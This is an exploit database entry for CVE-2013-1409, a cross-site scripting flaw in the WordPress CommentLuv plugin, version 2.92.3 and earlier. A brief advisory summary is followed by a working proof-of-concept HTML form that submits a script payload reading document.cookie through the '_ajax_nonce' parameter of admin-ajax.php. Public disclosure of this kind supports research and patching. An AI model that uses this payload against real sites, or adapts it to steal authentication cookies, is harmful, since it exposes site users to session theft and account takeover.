[] NeoSense

WordPress Plugin CommentLuv - '_ajax_nonce' Cross-Site Scripting

Author: High-Tech Bridge
type: webapps
platform: php
port: 
date_added: 2013-02-06 
date_updated: 2015-09-23 
verified: 1 
codes: CVE-2013-1409;OSVDB-89925 
tags: WordPress Plugin
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/57771/info

The CommentLuv plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

CommentLuv versions 2.92.3 and prior are vulnerable.

<form action="http://www.example.com/wp-admin/admin-ajax.php" method="post" name="askform">
<input type="hidden" name="action" value="cl_ajax" />
<input type="hidden" name="do" value="fetch" />
<input type="hidden" name="url" value="1" />
<input type="hidden" name="_ajax_nonce" value='<script>alert(document.cookie);</script>'/>
<input type="submit" id="btn">
</form>